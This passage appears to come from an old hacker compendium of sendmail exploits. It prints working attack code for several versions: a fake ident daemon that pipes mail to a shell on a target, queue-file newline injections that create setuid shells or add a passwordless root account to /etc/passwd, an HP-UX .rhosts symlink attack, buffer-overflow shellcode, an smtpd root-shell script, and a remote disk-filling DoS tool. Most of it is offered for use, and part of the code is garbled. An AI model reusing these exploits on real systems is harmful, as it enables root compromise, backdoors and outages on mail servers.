  2247.  
  2248. XTD=/tmp/.Xwork.$$
  2249.  
  2250. Xmkdir $TD
  2251.  
  2252. Xcd $TD
  2253.  
  2254. X
  2255.  
  2256. Xcat > a.c <<_END_
  2257.  
  2258. X#include <sys/types.h>
  2259.  
  2260. X#include <sys/socket.h>
  2261.  
  2262. X#include <netinet/in.h>
  2263.  
  2264. X
  2265.  
  2266. X/* run body of mail through shell run as daemon */
  2267.  
  2268. X#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed
  2269.  
  2270. '1,/^$/d'|/bin/sh\"\nHXxx:
  2271.  
  2272. "
  2273.  
  2274. X
  2275.  
  2276. X#ifdef other_possibilities
  2277.  
  2278. X/* write to a file as daemon */
  2279.  
  2280. X#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
  2281.  
  2282. X/* send back a file to someone and erase it */
  2283.  
  2284. X#define REPLY "USERID : UNIX :
  2285.  
  2286. a\nD/tmp/sendtome\nRmy@address.here\nHXxx: "
  2287.  
  2288. X#endif
  2289.  
  2290. X
  2291.  
  2292. Xreadline(fd, buf, len)
  2293.  
  2294. Xchar *buf;
  2295.  
  2296. X{
  2297.  
  2298. X    int i = 0;
  2299.  
  2300. X
  2301.  
  2302. X    while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
  2303.  
  2304. X       if(buf[i] == '\r' || buf[i] == '\n')
  2305.  
  2306. X           break;
  2307.  
  2308. X       i++;
  2309.  
  2310. X    }
  2311.  
  2312. X    buf[i] = '\0';
  2313.  
  2314. X}
  2315.  
  2316. X
  2317.  
  2318. Xdie(str)
  2319.  
  2320. Xchar *str;
  2321.  
  2322. X{
  2323.  
  2324. X    perror(str); exit(1);
  2325.  
  2326. X}
  2327.  
  2328. X
  2329.  
  2330. Xmain()
  2331.  
  2332. X{
  2333.  
  2334. X    int s, s2, adlen;
  2335.  
  2336. X    struct sockaddr_in ad;
  2337.  
  2338. X    char buf[60];
  2339.  
  2340. X
  2341.  
  2342. X    ad.sin_family = AF_INET;
  2343.  
  2344. X    ad.sin_port = htons(113);
  2345.  
  2346. X    ad.sin_addr.s_addr = INADDR_ANY;
  2347.  
  2348. X    if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
  2349.  
  2350. X    if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
  2351.  
  2352. X    if(listen(s, 1) == -1) die("listen");
  2353.  
  2354. X    adlen = sizeof(ad);
  2355.  
  2356. X    s2 = accept(s, (struct sockaddr *)&ad, &adlen);
  2357.  
  2358. X    if(s2 == -1) die("accept");
  2359.  
  2360. X    printf("Connection from %s port %d\n",
  2361.  
  2362. X        inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
  2363.  
  2364. X    readline(s2, buf, 50);
  2365.  
  2366. X    sprintf(buf + strlen(buf), " : %s\n", REPLY);
  2367.  
  2368. X    write(s2, buf, strlen(buf));
  2369.  
  2370. X}
  2371.  
  2372. X_END_
  2373.  
  2374. X
  2375.  
  2376. X# compile program
  2377.  
  2378. Xecho "compiling"
  2379.  
  2380. Xcc a.c -o ident
  2381.  
  2382. Xecho "running fake ident"
  2383.  
  2384. X./ident &
  2385.  
  2386. X
  2387.  
  2388. X# send to reomte
  2389.  
  2390. Xecho "talking to remote"
  2391.  
  2392. X(
  2393.  
  2394. X  sleep 1; echo "helo"
  2395.  
  2396. X  sleep 1; echo "mail from: "
  2397.  
  2398. X  sleep 1; echo "rcpt to: "
  2399.  
  2400. X  sleep 1; echo "data"
  2401.  
  2402. X  echo "$COMMANDS"
  2403.  
  2404. X  echo "."
  2405.  
  2406. X  sleep 1; echo "quit"
  2407.  
  2408. X  sleep 5
  2409.  
  2410. X) | telnet $TARGET 25
  2411.  
  2412. X
  2413.  
  2414. X# cleanup
  2415.  
  2416. Xcd /
  2417.  
  2418. Xrm -rf $TD
  2419.  
  2420. Xecho "done."
  2421.  
  2422. X
  2423.  
  2424. END-of-sm869.remote
  2425.  
  2426. exit
  2427.  
  2428. .................................. CuT HeRe ..................................
  2429.  
  2430. 8.6.9 newlines = 8.6.9 =
  2431.  
  2432. When a message is queued for delivery by sendmail, a pair of files are
  2433. written to the spool directory (/var/spool/mqueue on many systems). One of
  2434. these files (qf<something>) contains information related to the processing
  2435. of the message (headers, sender, recipient, etc.). Taking versions of
  2436. sendmail prior to 8.6.10 as an example, one of the pieces of information
  2437. maintained in this file is the name of the controlling user if mail is
  2438. being delivered to a script (or file). By feeding sendmail a recipient
  2439. address that contains newlines, it is possible to add lines to the queue
  2440. file which specify a controlling user and an executable to run with that
  2441. users access level. The 8.6.10 patch removes this hole, by stripping
  2442. newlines from the recipient address before writing the queue file.
  2443.  
  2444. EXPLOIT:
  2445.  
  2446. /* smh.c - Michael R. Widner - atreus (2/27/95)
  2447.  
  2448.  *
  2449.  
  2450.  * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
  2451.  
  2452.  * hole.  It's really just a matter of passing newlines in arguments to
  2453.  
  2454.  * sendmail and getting the stuff into the queue files.  If we run this
  2455.  
  2456.  * locally with -odq we are guaranteed that it will be queue, rather than
  2457.  
  2458.  * processed immediately.  Wait for the queue to get processed automatically
  2459.  
  2460.  * or just run sendmail -q if you're impatient.
  2461.  
  2462.  * usage: smh [ username [/path/to/sendmail]]
  2463.  
  2464.  * It's worth noting that this is generally only good for getting bin.
  2465.  
  2466.  * sendmail still wants to process the sendmail.cf file, which contains
  2467.  
  2468.  * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
  2469.  
  2470.  * a way around this?
  2471.  
  2472.  * cc -o smh smh.c should do the trick.  This just creates a bin owned
  2473.  
  2474.  * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
  2475.  
  2476.  * systems this is pretty much worthless, but you're smart enough to know
  2477.  
  2478.  * which systems those are.  Aren't you?
  2479.  
  2480.  */
  2481.  
  2482. #include <sys/types.h>
  2483.  
  2484. #include <unistd.h>
  2485.  
  2486. #include <stdlib.h>
  2487.  
  2488. main(argc, argv)
  2489.  
  2490. int argc;
  2491.  
  2492. char **argv;
  2493.  
  2494. {
  2495.  
  2496.         execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
  2497.  
  2498.         "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal,
  2499.  
  2500. P=/bin/sh, F=lsDFMeu,
  2501.  
  2502. A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777
  2503.  
  2504. /tmp/newsh\">\n$rascii ",
  2505.  
  2506.         argv[1] ? argv[1] : "atreus",0);
  2507.  
  2508. }
  2509.  
  2510. ................................ CuT HeRe ..................................
  2511.  
  2512. 8.6.10 ident/newlines = 8.6.10 =
  2513.  
  2514. This is a sendmail 8.6.10 attack based on the problems that sendmail 8.6.10
  2515. inherited from sendmail 8.6.9 .... Look at comments in the source. Two
  2516. exploits follow:
  2517.  
  2518. /* 8.6.10 sendmail attacker
  2519.  
  2520.  *
  2521.  
  2522.  * gcc ident.c -o ident
  2523.  
  2524.  * add the following line to your /etc/inetd.conf:
  2525.  
  2526.  * ident  stream tcp  nowait  root  /tmp/ident  in.identd
  2527.  
  2528.  * then kill -HUP inetd
  2529.  
  2530.  *
  2531.  
  2532.  * Not for not public use or disclosure.
  2533.  
  2534.  *
  2535.  
  2536.  * This is a sendmail 8.6.10 attack based on the problems that
  2537.  
  2538.  * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
  2539.  
  2540.  * information given to it by identd, which included bogus characters
  2541.  
  2542.  * and newlines that it later appended to the queue file.  Sendmail 8.6.10
  2543.  
  2544.  * supposedly "strips" newlines before they are written, however, it
  2545.  
  2546.  * converts them to spaces, and the following code demonstrates that
  2547.  
  2548.  * quick work-around patches are never ever stable...
  2549.  
  2550.  *
  2551.  
  2552.  * NOTES:  This hack only works when sendmail queues up the message for
  2553.  
  2554.  * later delivery.  This depends on the configuration of sendmail.cf and
  2555.  
  2556.  * on the machine loading.  If you can do something to drag the machine to
  2557.  
  2558.  * its knees, then fire off this attack, you stand a much better chance of
  2559.  
  2560.  * success.
  2561.  
  2562.  *
  2563.  
  2564.  * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
  2565.  
  2566.  * default user to bin.bin), this exploit will not work.
  2567.  
  2568.  *
  2569.  
  2570.  * Also, since this only works when sendmail queues up the message for
  2571.  
  2572.  * later delivery, the time of execution is dependant on how sendmail
  2573.  
  2574.  * has been configured in sendmail.cf and machine load.  Heavily loaded
  2575.  
  2576.  * machines (or machines that have been intentionally flooded) have a
  2577.  
  2578.  * greater possibility of this exploit working.
  2579.  
  2580.  *
  2581.  
  2582.  */
  2583.  
  2584. #include <sys/types.h>
  2585.  
  2586. #include <sys/fcntl.h>
  2587.  
  2588. #include <sys/time.h>
  2589.  
  2590. #include <stdio.h>
  2591.  
  2592. #include <stdlib.h>
  2593.  
  2594. #include <string.h>
  2595.  
  2596. #include <unistd.h>
  2597.  
  2598. /* TIMEOUT is the number of seconds to wait before closing the connection if
  2599.  
  2600.  * the client doesn't provide the port pairs.
  2601.  
  2602.  */
  2603.  
  2604. #define TIMEOUT 120
  2605.  
  2606. /* PROCINFO_BUFFER_SIZE must be bigger than 80 */
  2607.  
  2608. #define OUTPUT_BUFFER_SIZE 2048
  2609.  
  2610. #define SOCKET_BUFFER_SIZE 100
  2611.  
  2612. unsigned short lport = 0, rport = 0;
  2613.  
  2614. void
  2615.  
  2616. main ()
  2617.  
  2618. {
  2619.  
  2620.     unsigned long here, there;
  2621.  
  2622.     struct fd_set fdset;
  2623.  
  2624.     struct timeval timeout;
  2625.  
  2626.     char buffer[OUTPUT_BUFFER_SIZE];
  2627.  
  2628.     char inbuffer[SOCKET_BUFFER_SIZE];
  2629.  
  2630.     int len;
  2631.  
  2632.     int fd;
  2633.  
  2634.     FD_ZERO (&fdset);
  2635.  
  2636.     FD_SET (0, &fdset);
  2637.  
  2638.     timeout.tv_sec = TIMEOUT;
  2639.  
  2640.     timeout.tv_usec = 0;
  2641.  
  2642.     select (1, &fdset, NULL, NULL, &timeout);
  2643.  
  2644.     len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
  2645.  
  2646.     if (len <= 0)
  2647.  
  2648.     exit (0);
  2649.  
  2650.     FD_SET (0, &fdset);
  2651.  
  2652.     sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
  2653.  
  2654.     "Croot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nMlocal,
  2655.  
  2656.     P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo toor::0:1:toor:/:/bin/csh
  2657.  
  2658.  >> /etc/passwd\">\r\nR<\"|/usr/bin/chmod 4755 /usr/bin/time\");
  2659.  
  2660.     write (1, buffer, strlen (buffer));
  2661.  
  2662.     exit (0);
  2663.  
  2664. }
  2665.  
  2666. ................................ CuT HeRe ..................................
  2667.  
  2668. Second Exploit follows:
  2669.  
  2670. /* 8.6.10 sendmail attacker
  2671.  
  2672.  *
  2673.  
  2674.  * gcc ident.c -o ident
  2675.  
  2676.  * add the following line to your /etc/inetd.conf:
  2677.  
  2678.  * ident  stream tcp  nowait  root  /tmp/ident  in.identd
  2679.  
  2680.  * then kill -HUP inetd
  2681.  
  2682.  *
  2683.  
  2684.  * Not for not public use or disclosure.
  2685.  
  2686.  *
  2687.  
  2688.  * This is a sendmail 8.6.10 attack based on the problems that
  2689.  
  2690.  * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
  2691.  
  2692.  * information given to it by identd, which included bogus characters
  2693.  
  2694.  * and newlines that it later appended to the queue file.  Sendmail 8.6.10
  2695.  
  2696.  * supposedly "strips" newlines before they are written, however, it
  2697.  
  2698.  * converts them to spaces, and the following code demonstrates that
  2699.  
  2700.  * quick work-around patches are never ever stable...
  2701.  
  2702.  *
  2703.  
  2704.  * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
  2705.  
  2706.  * default user to bin.bin), this exploit will not work.
  2707.  
  2708.  *
  2709.  
  2710.  * Also, since this only works when sendmail queues up the message for
  2711.  
  2712.  * lar delivery, the time of execution is dependant on how sendmail
  2713.  
  2714.  * has been configured in sendmail.cf and machine load.  Heavily loaded
  2715.  
  2716.  * machines (or machines that have been intentionally flooded) have a
  2717.  
  2718.  * greater possibility of this exploit working.
  2719.  
  2720.  *
  2721.  
  2722.  */
  2723.  
  2724. #include <sys/types.h>
  2725.  
  2726. #include <sys/fcntl.h>
  2727.  
  2728. #include <sys/time.h>
  2729.  
  2730. #include <stdio.h>
  2731.  
  2732. #include <stdlib.h>
  2733.  
  2734. #include <string.h>
  2735.  
  2736. #include <unistd.h>
  2737.  
  2738. /* TIMEOUT is the number of seconds to wait before closing the connection if
  2739.  
  2740.  * the client doesn't provide the port pairs.
  2741.  
  2742.  */
  2743.  
  2744. #define TIMEOUT 120
  2745.  
  2746. /* PROCINFO_BUFFER_SIZE must be bigger than 80 */
  2747.  
  2748. #define OUTPUT_BUFFER_SIZE 2048
  2749.  
  2750. #define SOCKET_BUFFER_SIZE 100
  2751.  
  2752. unsigned short lport = 0, rport = 0;
  2753.  
  2754. void
  2755.  
  2756. main ()
  2757.  
  2758. {
  2759.  
  2760.     unsigned long here, there;
  2761.  
  2762.     struct fd_set fdset;
  2763.  
  2764.     struct timeval timeout;
  2765.  
  2766.     char buffer[OUTPUT_BUFFER_SIZE];
  2767.  
  2768.     char inbuffer[SOCKET_BUFFER_SIZE];
  2769.  
  2770.     int len;
  2771.  
  2772.     int fd;
  2773.  
  2774.     FD_ZERO (&fdset);
  2775.  
  2776.     FD_SET (0, &fdset);
  2777.  
  2778.     timeout.tv_sec = TIMEOUT;
  2779.  
  2780.     timeout.tv_usec = 0;
  2781.  
  2782.     select (1, &fdset, NULL, NULL, &timeout);
  2783.  
  2784.     len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
  2785.  
  2786.     if (len <= 0)
  2787.  
  2788.     exit (0);
  2789.  
  2790.     FD_SET (0, &fdset);
  2791.  
  2792.     sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
  2793.  
  2794.     "Croot\t\t\t\t\t\t\tMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\t
  2795.  
  2796.     Mlocal,
  2797.  
  2798.     P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\tR<\"|/bin/echo toor::0:1:toor:/:
  2799.  
  2800. /bin/csh >> /etc/passwd\">\t\t\tR<\"|/usr/bin/chmod 4755 /usr/bin/time\">\r\n
  2801.  
  2802.     $rascii done");
  2803.  
  2804.     write (1, buffer, strlen (buffer));
  2805.  
  2806.     exit (0);
  2807.  
  2808. }
  2809.  
  2810.  
  2811.  
  2812. ................................ CuT HeRe ..................................
  2813.  
  2814. HP-UX = HP-UX 9.x =
  2815.  
  2816. #!/bin/sh
  2817.  
  2818. # This works on virgin HPUX 9.x sendmail.cf
  2819.  
  2820. # The link can be set to any file on the system, it will append the contents
  2821.  
  2822. # of the email to the linked file (/etc/passwd, /etc/hosts.equiv, /.rhosts)..
  2823.  
  2824. # - sirsyko
  2825.  
  2826. r00tDIR=`grep root /etc/passwd |cut -f6 -d:`
  2827.  
  2828. RunDMC=`hostname`
  2829.  
  2830. if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter
  2831.  
  2832. fi
  2833.  
  2834. if [ -f /tmp/dead.letter ]; then
  2835.  
  2836.  echo "Sorry, aint gonna work"
  2837.  
  2838.  exit
  2839.  
  2840. fi
  2841.  
  2842. ln -s  ${r00tDIR}/.rhosts /tmp/dead.letter
  2843.  
  2844. (
  2845.  
  2846. sleep 1
  2847.  
  2848. echo "helo"
  2849.  
  2850. echo "mail from: noone"
  2851.  
  2852. echo "rcpt to: noone@bounce"
  2853.  
  2854. echo "data"
  2855.  
  2856. echo "+ +"
  2857.  
  2858. echo "."
  2859.  
  2860. sleep 3
  2861.  
  2862. echo "quit"
  2863.  
  2864. ) | telnet ${RunDMC} 25
  2865.  
  2866. sleep 5
  2867.  
  2868. remsh ${RunDMC} -l root
  2869.  
  2870. ............... CuT HeRe ...............
  2871.  
  2872. What the r00t guys exploit does is just this:
  2873.  
  2874.    * creates a symbolic link to the target file (in this case '.rhosts' in
  2875.      root's directory) called '/tmp/dead.letter'.
  2876.    * Then sends a message (containing lines you want to append) to a
  2877.      non-existent user.
  2878.    * Sendmail is configured (as default) to append lines of non-recipient
  2879.      messages to '/tmp/dead.letter' and does it with root privileges. If
  2880.      '/tmp/dead.letter' is a symbolic link Sendmail will follow it and will
  2881.      overwrite the pre-existent file.
  2882.    * Probably if Sendmail configuration has been changed to make it behave
  2883.      in a different way, looking at the cf file could lead you to exploit
  2884.      the bug the same.
  2885.  
  2886. 8.7.5 gecos = 8.X.X <8.8.0 = TeSTed oN 8.6.12
  2887.  
  2888. This bug was pointed out by Mudge of L0pht on Bugtraq on Sept 1996,
  2889. excerpts follow:
  2890.  
  2891. A buffer overflow condition exists that allows a user to overwrite the
  2892. information in a saved stack frame. When the function returns, the saved
  2893. frame is popped off of the stack and user code can be executed. If a user
  2894. is able to alter his/her gecos field then that user can exploit a coding
  2895. flaw in sendmail to elevate their effective UID to 0.
  2896.  
  2897. The actual problem in the code is quite apparent.
  2898.  
  2899.      Inside recipient.c we find the following:
  2900.  
  2901.        char nbuf[MAXNAME + 1];
  2902.  
  2903.        ...
  2904.  
  2905.        buildfname(pw->pw_gecos, pw->pw_name, nbuf);
  2906.  
  2907. The problem is that nbuf[MAXNAME + 1] is a fixed length buffer and as we
  2908. will soon see, buildfname() does not honor this. [ ..... ]
  2909.  
  2910. This particular problem has been fixed in Sendmail 8.8 beta.
  2911.  
  2912. Here we have an example of exploit:
  2913.  
  2914. ------------------------------ Cut Here ------------------------------------
  2915.  
  2916. /*                               Hi !                                       */
  2917.  
  2918. /* This is exploit for sendmail bug (version 8.6.12 for FreeBSD 2.1.0).     */
  2919.  
  2920. /* If you have any problems with it, send letter to me.                     */
  2921.  
  2922. /*                             Have fun !                                   */
  2923.  
  2924. /* -----------------   Dedicated to my beautiful lady   ------------------  */
  2925.  
  2926. /* Leshka Zakharoff, 1996. E-mail: leshka@chci.chuvashia.su                 */
  2927.  
  2928. #include <stdio.h>
  2929.  
  2930. main()
  2931.  
  2932. {
  2933.  
  2934. void make_files();
  2935.  
  2936.      make_files();
  2937.  
  2938.      system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail;e
  2939.  
  2940. cho See result in /tmp");
  2941.  
  2942. }
  2943.  
  2944. void make_files()
  2945.  
  2946.  {
  2947.  
  2948.   int i,j;
  2949.  
  2950.   FILE *f;
  2951.  
  2952.   char nop_string[200];
  2953.  
  2954.   char code_string[]=
  2955.  
  2956.                       {
  2957.  
  2958.                          "\xeb\x50"                         /* jmp
  2959.  
  2960. cont */
  2961.  
  2962. /* geteip: */            "\x5d"                             /* popl
  2963.  
  2964. %ebp */
  2965.  
  2966.                          "\x55"                             /* pushl
  2967.  
  2968. %ebp */
  2969.  
  2970.                          "\xff\x8d\xc3\xff\xff\xff"         /* decl
  2971.  
  2972. 0xffffffc3(%ebp) */
  2973.  
  2974.                          "\xff\x8d\xd7\xff\xff\xff"         /* decl
  2975.  
  2976. 0xffffffd7(%ebp) */
  2977.  
  2978.                          "\xc3"                             /* ret */
  2979.  
  2980. /* 0xffffffb4(%ebp): */ "cp /bin/sh /tmp"
  2981.  
  2982. /* 0xffffffc3(%ebp): */ "\x3c"
  2983.  
  2984.                         "chmod a=rsx /tmp/sh"
  2985.  
  2986. /* 0xffffffd7(%ebp): */ "\x01"
  2987.  
  2988.                         "-leshka-leshka-leshka-leshka-"    /* reserved */
  2989.  
  2990. /* cont:  */            "\xc7\xc4\x70\xcf\xbf\xef"         /* movl
  2991.  
  2992. $0xefbfcf70,%esp */
  2993.  
  2994.                         "\xe8\xa5\xff\xff\xff"             /* call
  2995.  
  2996. geteip */
  2997.  
  2998.                         "\x81\xc5\xb4\xff\xff\xff"         /* addl
  2999.  
  3000. $0xb4ffffff,%ebp */
  3001.  
  3002.                         "\x55"                             /* pushl  %ebp */
  3003.  
  3004.                         "\x55"                             /* pushl  %ebp */
  3005.  
  3006.                         "\x68\xd0\x77\x04\x08"             /* pushl
  3007.  
  3008. $0x80477d0
  3009.  
  3010.  */
  3011.  
  3012.                         "\xc3"                             /* ret */
  3013.  
  3014.                         "-leshka-leshka-leshka-leshka-"    /* reserved */
  3015.  
  3016.                         "\xa0\xcf\xbf\xef"
  3017.  
  3018.                      };
  3019.  
  3020.   j=269-sizeof(code_string);
  3021.  
  3022.   for(i=0;i\"$1\"\n");
  3023.  
  3024.   fprintf(f,"touch -t 2510711313 \"$1\"\n");
  3025.  
  3026.   fclose(f);
  3027.  
  3028. }
  3029.  
  3030. ................................ Cut Here ................................
  3031.  
  3032. mime7to8() = 8.8.0 =
  3033.  
  3034. An attacker can simply create a very large message in which each line ends
  3035. with "=" and use it to overwrite the sendmail process's stack. Here the bug
  3036. is only described... why doesn't someone write an exploit?!
  3037.  
  3038. There is a serious bug in the mime7to8() function of sendmail 8.8.0 which
  3039. allows anyone who can send you mail to execute arbitrary code as root on
  3040. your machine. I think mime7to8() only gets invoked if you set the
  3041. undocumented "9" mailer flag. However, this flag is set by default in the
  3042. cf/mailer/local.m4 file that ships with sendmail 8.8.0. Thus, if you are
  3043. using an old V6 format configuration file from sendmail 8.7, you are
  3044. probably safe, but if you generated a new V7 configuration file, you are
  3045. probably vulnerable to this bug.
  3046.  
  3047. Now here are the technical details:
  3048.  
  3049. The inner loop of mime7to8() looks like this:
  3050.  
  3051.         u_char *obp;
  3052.  
  3053.         char buf[MAXLINE];
  3054.  
  3055.         u_char obuf[MAXLINE];
  3056.  
  3057.         ....
  3058.  
  3059.                 /* quoted-printable */
  3060.  
  3061.                 obp = obuf;
  3062.  
  3063.                 while (fgets(buf, sizeof buf, e->e_dfp) != NULL)
  3064.  
  3065.                 {
  3066.  
  3067.                         if (mime_fromqp((u_char *) buf, &obp, 0, MAXLINE) == 0)
  3068.  
  3069.                                 continue;
  3070.  
  3071.                         putline((char *) obuf, mci);
  3072.  
  3073.                         obp = obuf;
  3074.  
  3075.                 }
  3076.  
  3077. When mime_fromqp() encounters a line that ends "=\n", it chops those two
  3078. characters off and returns 0 to indicate a continuation line. This causes
  3079. the while loop to continue, reading another input line and appending its
  3080. contents to obuf. However, when the loop continues without resetting obp to
  3081. obuf, there are fewer than MAXLINE characters left in the output buffer.
  3082. This means an attacker can simply create a very large message in which each
  3083. line ends with "=". Eventually obp will move beyond the end of obuf and
  3084. start writing almost arbitrary data to the sendmail process's stack (as
  3085. long as no bytes are 0).
  3086.  
  3087. smtpd = 8.7-8.8.2 =
  3088.  
  3089. Read the exploit and don't bother:
  3090.  
  3091. ------------------------------ Cut Here --------------------------------
  3092.  
  3093. #/bin/sh
  3094.  
  3095. #
  3096.  
  3097. #
  3098.  
  3099. #                                   Hi !
  3100.  
  3101. #                This is exploit for sendmail smtpd bug
  3102.  
  3103. #    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
  3104.  
  3105. #         This shell script does a root shell in /tmp directory.
  3106.  
  3107. #          If you have any problems with it, drop me a letter.
  3108.  
  3109. #                                Have fun !
  3110.  
  3111. #
  3112.  
  3113. #
  3114.  
  3115. #                           ----------------------
  3116.  
  3117. #               ---------------------------------------------
  3118.  
  3119. #    -----------------   Dedicated to my beautiful lady   ------------------
  3120.  
  3121. #               ---------------------------------------------
  3122.  
  3123. #                           ----------------------
  3124.  
  3125. #
  3126.  
  3127. #          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
  3128.  
  3129. #
  3130.  
  3131. #
  3132.  
  3133. #
  3134.  
  3135. echo   'main()                                                '>>leshka.c
  3136.  
  3137. echo   '{                                                     '>>leshka.c
  3138.  
  3139. echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
  3140.  
  3141. echo   '}                                                     '>>leshka.c
  3142.  
  3143. #
  3144.  
  3145. #
  3146.  
  3147. echo   'main()                                                '>>smtpd.c
  3148.  
  3149. echo   '{                                                     '>>smtpd.c
  3150.  
  3151. echo   '  setuid(0); setgid(0);                               '>>smtpd.c
  3152.  
  3153. echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
  3154.  
  3155. echo   '}                                                     '>>smtpd.c
  3156.  
  3157. #
  3158.  
  3159. #
  3160.  
  3161. cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
  3162.  
  3163. ./leshka
  3164.  
  3165. kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"
  3166.  
  3167. |head -n 1`
  3168.  
  3169. rm leshka.c leshka smtpd.c /tmp/smtpd
  3170.  
  3171. /tmp/sh
  3172.  
  3173. ________________________________________________________________________
  3174.  
  3175.  
  3176. A Local DoS(29) in All Sendmail Versions Up to 8.9.3 (taken from Packet Storm)
  3177. ****************************************************
  3178. Date: Sat, 3 Apr 1999 00:42:56 +0200
  3179. From: "[iso-8859-2] Micha3 Szymañski" <siwa9@BOX43.GNET.PL>
  3180. To: BUGTRAQ@netspace.org
  3181. Subject: Re: Possible local DoS in sendmail
  3182.  
  3183. Hi folks,
  3184.  
  3185. This local queue filling DoS attack in sendmail is quite dangerous. But good
  3186. security policy (like mine) will prevent attackers from doing such things.
  3187. Control files (in /var/spool/mqueue) created by 'sendmail -t' are owned by
  3188. root.attacker's_group; turn on quotas for group 'attacker's_group' on the
  3189. file system containing /var/spool/mqueue directory, and your host will be not
  3190. vulnerable; but you _have to_ configure your sendmail as _nosuid_ daemon;
  3191.  
  3192. Much more dangerous are remote queue filling DoS attacks. If you have enabled
  3193. relaying, you can use shown below smdos.c proggie; it will quite fast fullfill
  3194. partition on disk where /var/spool/mqueue resides. you should notice increased
  3195. LA during attack; in contrast to local DoS attacks, control files created by
  3196. smdos.c are owned by root.root, so ... it's much more difficult to prevent
  3197. offenders from doing it;
  3198.  
  3199. don't forget to change BSIZE definition (in smdos.c) to appropriate victim's
  3200. host message size limitation (MaxMessageSize option); you can also increase
  3201. MAXCONN definition.
  3202.  
  3203. smdos.c:
  3204.  
  3205. --- CUT HERE ---
  3206. /*
  3207. By Michal Szymanski <siwa9@box43.gnet.pl>
  3208.  
  3209. Sendmail DoS (up to 8.9.3);
  3210.  
  3211. Sat Apr  3 00:12:31 CEST 1999
  3212. */
  3213.  
  3214. #include <stdio.h>
  3215. #include <sys/types.h>
  3216. #include <sys/socket.h>
  3217. #include <netinet/in.h>
  3218. #include <arpa/inet.h>
  3219. #include <netdb.h>
  3220. #include <errno.h>
  3221.  
  3222. #undef VERBOSE          /* define it, if MORECONN is undefined */
  3223.  
  3224. #define MORECONN
  3225.  
  3226. // #define RCPT_TO      "foo@ftp.onet.pl"
  3227.  
  3228. #define RCPT_TO "foo@10.255.255.255"
  3229.  
  3230. #ifdef MORECONN
  3231. #define MAXCONN 5
  3232. #endif
  3233.  
  3234. #define BSIZE   1048576         /* df* control file size */
  3235. #define PORT    25
  3236.  
  3237. char buffer[BSIZE];
  3238. int sockfd,x,loop,chpid;
  3239.  
  3240. void usage(char *fname) {
  3241. fprintf(stderr,"Usage: %s <victim_host>\n",fname);
  3242. exit(1);
  3243. }
  3244.  
  3245. void say(char *what) {
  3246.  
  3247. if (write(sockfd,what,strlen(what))<0) {
  3248. perror("write()");
  3249. exit(errno);
  3250. }
  3251.  
  3252. #ifdef VERBOSE
  3253. fprintf(stderr,"<%s",what);
  3254. #endif
  3255.  
  3256. bzero(buffer,BSIZE);
  3257.  
  3258. usleep(1000);
  3259.  
  3260. if (read(sockfd,buffer,BSIZE)<0) {
  3261. perror("read()");
  3262. exit(errno);
  3263. }
  3264.  
  3265. #ifdef VERBOSE
  3266. fprintf(stderr,buffer);
  3267. #endif
  3268. }
  3269.                         
  3270.  
  3271. int main(int argc,char *argv[]) {
  3272. struct sockaddr_in serv_addr;
  3273. struct hostent *host;
  3274. char *hostname,hostaddr[20];
  3275.  
  3276. fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9@box43.gnet.pl]\n");
  3277.  
  3278. if (argc<2) usage(argv[0]);
  3279.  
  3280. #ifdef VERBOSE
  3281. fprintf(stderr,">Preparing address. \n");
  3282. #endif
  3283.  
  3284. hostname=argv[1];
  3285.  
  3286. serv_addr.sin_port=htons(PORT);
  3287. serv_addr.sin_family=AF_INET;
  3288.  
  3289. if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {
  3290.  
  3291. #ifdef VERBOSE
  3292. fprintf(stderr,">Getting info from DNS.\n");
  3293. #endif
  3294.  
  3295. if ((host=gethostbyname(hostname))==NULL) {
  3296. herror("gethostbyname()");
  3297. exit(h_errno);
  3298. }
  3299.  
  3300. serv_addr.sin_family=host->h_addrtype;
  3301.  
  3302. bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);
  3303.  
  3304. #ifdef VERBOSE
  3305. fprintf(stderr,">Official name of host: %s\n",host->h_name);
  3306. #endif
  3307.  
  3308. hostname=host->h_name;
  3309.  
  3310. sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
  3311.                                (unsigned char)host->h_addr[1],
  3312.                                (unsigned char)host->h_addr[2],
  3313.                                (unsigned char)host->h_addr[3]);
  3314.  
  3315. }
  3316. else sprintf(hostaddr,"%s",hostname);
  3317.  
